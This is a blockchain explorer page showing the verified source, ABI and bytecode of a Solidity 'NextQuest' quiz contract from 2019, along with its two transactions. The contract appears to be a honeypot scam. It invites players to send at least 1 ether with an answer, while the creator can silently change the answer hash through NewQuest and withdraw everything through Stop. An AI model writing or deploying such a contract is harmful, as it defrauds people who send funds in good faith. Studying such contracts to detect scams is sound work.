ETH Price: $2,797.07 (+0.95%)

Contract

0x5b0A2aDE105dcEa75CFB0F9785D17bf5167a7493
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Setup70292062019-01-08 3:43:532238 days ago1546919033IN
0x5b0A2aDE...5167a7493
1 ETH0.00002491

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
70338522019-01-08 23:43:512237 days ago1546991031
0x5b0A2aDE...5167a7493
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NextQuest

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-01-08
*/

contract NextQuest
{
    string public Question;
    address questionSender;
    bytes32 responseHash;

    function Play(string resp) public payable {
        require(msg.sender == tx.origin);
        if (responseHash == keccak256(resp) && msg.value >= 1 ether) {
            msg.sender.transfer(address(this).balance);
        }
    }

    function() public payable{}
 
    function Setup(string q, string resp) public payable {
        if (responseHash == 0x0) {
            responseHash = keccak256(resp);
            Question = q;
            questionSender = msg.sender;
        }
    }
    
    function Stop() public payable {
       require(msg.sender==questionSender);
       msg.sender.transfer(address(this).balance);
    }
    
    function NewQuest(string q, bytes32 respHash) public payable {
        require(msg.sender==questionSender);
        Question = q;
        responseHash = respHash;
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"q","type":"string"},{"name":"respHash","type":"bytes32"}],"name":"NewQuest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"resp","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"q","type":"string"},{"name":"resp","type":"string"}],"name":"Setup","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"Question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

608060405234801561001057600080fd5b5061055c806100206000396000f30060806040526004361061006c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663117735f0811461006e578063648f0bde146100bc5780639668656014610108578063bedf0f4a14610192578063c8166a8a1461019a575b005b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375094975050933594506102249350505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c9436949293602493928401919081908401838280828437509497506102629650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061031b9650505050505050565b61006c6103b6565b3480156101a657600080fd5b506101af610407565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e95781810151838201526020016101d1565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60015473ffffffffffffffffffffffffffffffffffffffff16331461024857600080fd5b815161025b906000906020850190610495565b5060025550565b33321461026e57600080fd5b806040518082805190602001908083835b6020831061029e5780518252601f19909201916020918201910161027f565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060025414925050811590506102e45750670de0b6b3a76400003410155b15610318576040513390303180156108fc02916000818181858888f19350505050158015610316573d6000803e3d6000fd5b505b50565b600254151561031657806040518082805190602001908083835b602083106103545780518252601f199092019160209182019101610335565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161039293506000925090850190610495565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790555050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146103da57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610318573d6000803e3d6000fd5b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b505050505081565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104d657805160ff1916838001178555610503565b82800160010185558215610503579182015b828111156105035782518255916020019190600101906104e8565b5061050f929150610513565b5090565b61052d91905b8082111561050f5760008155600101610519565b905600a165627a7a7230582004c8c3db65407d6c64dc19aac1cf8438209bcd032c8e18e227412dad95ecc1bc0029

Deployed Bytecode

0x60806040526004361061006c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663117735f0811461006e578063648f0bde146100bc5780639668656014610108578063bedf0f4a14610192578063c8166a8a1461019a575b005b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375094975050933594506102249350505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c9436949293602493928401919081908401838280828437509497506102629650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061031b9650505050505050565b61006c6103b6565b3480156101a657600080fd5b506101af610407565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e95781810151838201526020016101d1565b50505050905090810190601f1680156102165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60015473ffffffffffffffffffffffffffffffffffffffff16331461024857600080fd5b815161025b906000906020850190610495565b5060025550565b33321461026e57600080fd5b806040518082805190602001908083835b6020831061029e5780518252601f19909201916020918201910161027f565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060025414925050811590506102e45750670de0b6b3a76400003410155b15610318576040513390303180156108fc02916000818181858888f19350505050158015610316573d6000803e3d6000fd5b505b50565b600254151561031657806040518082805190602001908083835b602083106103545780518252601f199092019160209182019101610335565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161039293506000925090850190610495565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790555050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146103da57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610318573d6000803e3d6000fd5b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b505050505081565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104d657805160ff1916838001178555610503565b82800160010185558215610503579182015b828111156105035782518255916020019190600101906104e8565b5061050f929150610513565b5090565b61052d91905b8082111561050f5760008155600101610519565b905600a165627a7a7230582004c8c3db65407d6c64dc19aac1cf8438209bcd032c8e18e227412dad95ecc1bc0029

Swarm Source

bzzr://04c8c3db65407d6c64dc19aac1cf8438209bcd032c8e18e227412dad95ecc1bc

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.